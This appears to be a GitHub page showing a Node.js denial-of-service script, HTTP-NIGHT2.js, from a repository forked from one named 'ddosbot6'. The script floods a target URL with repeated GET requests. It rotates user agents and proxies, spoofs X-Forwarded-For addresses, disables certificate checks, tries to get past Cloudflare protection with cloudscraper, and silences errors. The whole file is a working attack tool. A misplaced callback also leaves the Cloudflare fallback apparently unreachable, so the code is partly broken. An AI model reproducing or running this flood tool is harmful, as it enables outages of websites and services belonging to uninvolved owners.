forked from NoShezQ/ddosbot6
-
Notifications
You must be signed in to change notification settings - Fork 0
/
HTTP-NIGHT2.js
99 lines (92 loc) · 2.84 KB
/
HTTP-NIGHT2.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
var request = require("request");
var path = require('path');
var fs = require('fs');
var cloudscraper = require('cloudscraper');
var randomstring = require("randomstring");
var ciphers = require('ciphers');
var readline = require('readline').createInterface({
input: process.stdin,
output: process.stdout
});
requestJar = request.jar(),
reqCookie = request.defaults({
jar: requestJar
}),
reqBypass = cloudscraper.defaults({
jar: requestJar
}),
randomByte = function() {
return Math.round(Math.random()*256);
}
const uaa = fs.readFileSync("ua.txt", 'utf-8').toString().split("\n");
const proxies = fs.readFileSync("proxy.txt", 'utf-8').toString().split("\n");
const url = process.argv[2]
const time = process.argv[3]
setInterval(() => {
const proxy = proxies[Math.floor(Math.random() * proxies.length)]
const rand = randomstring.generate({
length: 5,
charset: 'abcdefghijklmnopqstuvwxyz0123456789QWERTYUIOPASDFGHJKLZXCVBNM'
});
for (var i = 0; i < 16; i++) {
request({
method: 'GET',
followAllRedirects: true,
maxRedirects: 20,
uri: url,
gzip: true,
jar: true,
strictSSL: false,
headers: {
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': 1,
'User-Agent': uaa[Math.floor(Math.random() * uaa.length)],
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Connection':'Keep-Alive',
'Pragma': 'no-cache',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,he-IL;q=0.8,he;q=0.7,tr;q=0.6',
'X-Forwarded-For': randomByte() +'.' + randomByte() +'.' + randomByte() +'.' + randomByte(),
}
}), function (error, res) {
if (res && res.statusCode == 403) {
reqBypass({
method: 'GET',
followAllRedirects: true,
maxRedirects: 20,
uri: url,
jar: true,
gzip: true,
cloudflareTimeout: 5000,
cloudflareMaxTimeout: 30000,
strictSSL: false,
headers: {
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': 1,
'User-Agent': uaa[Math.floor(Math.random() * uaa.length)],
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Connection':'Keep-Alive',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'sec-fetch-site': 'none',
'Sec-Fetch-Dest': 'document',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9,he-IL;q=0.8,he;q=0.7,tr;q=0.6',
'Referer': 'http://google.com/' + rand,
'X-Forwarded-For': randomByte() +'.' + randomByte() +'.' + randomByte() +'.' + randomByte(),
}
})
}
}
};
})
setTimeout(() => {
process.exit(0)
}, time * 1000);
// to avoid errors
process.on('uncaughtException', function (err) {
// console.log(err);
});
process.on('unhandledRejection', function (err) {
// console.log(err);
});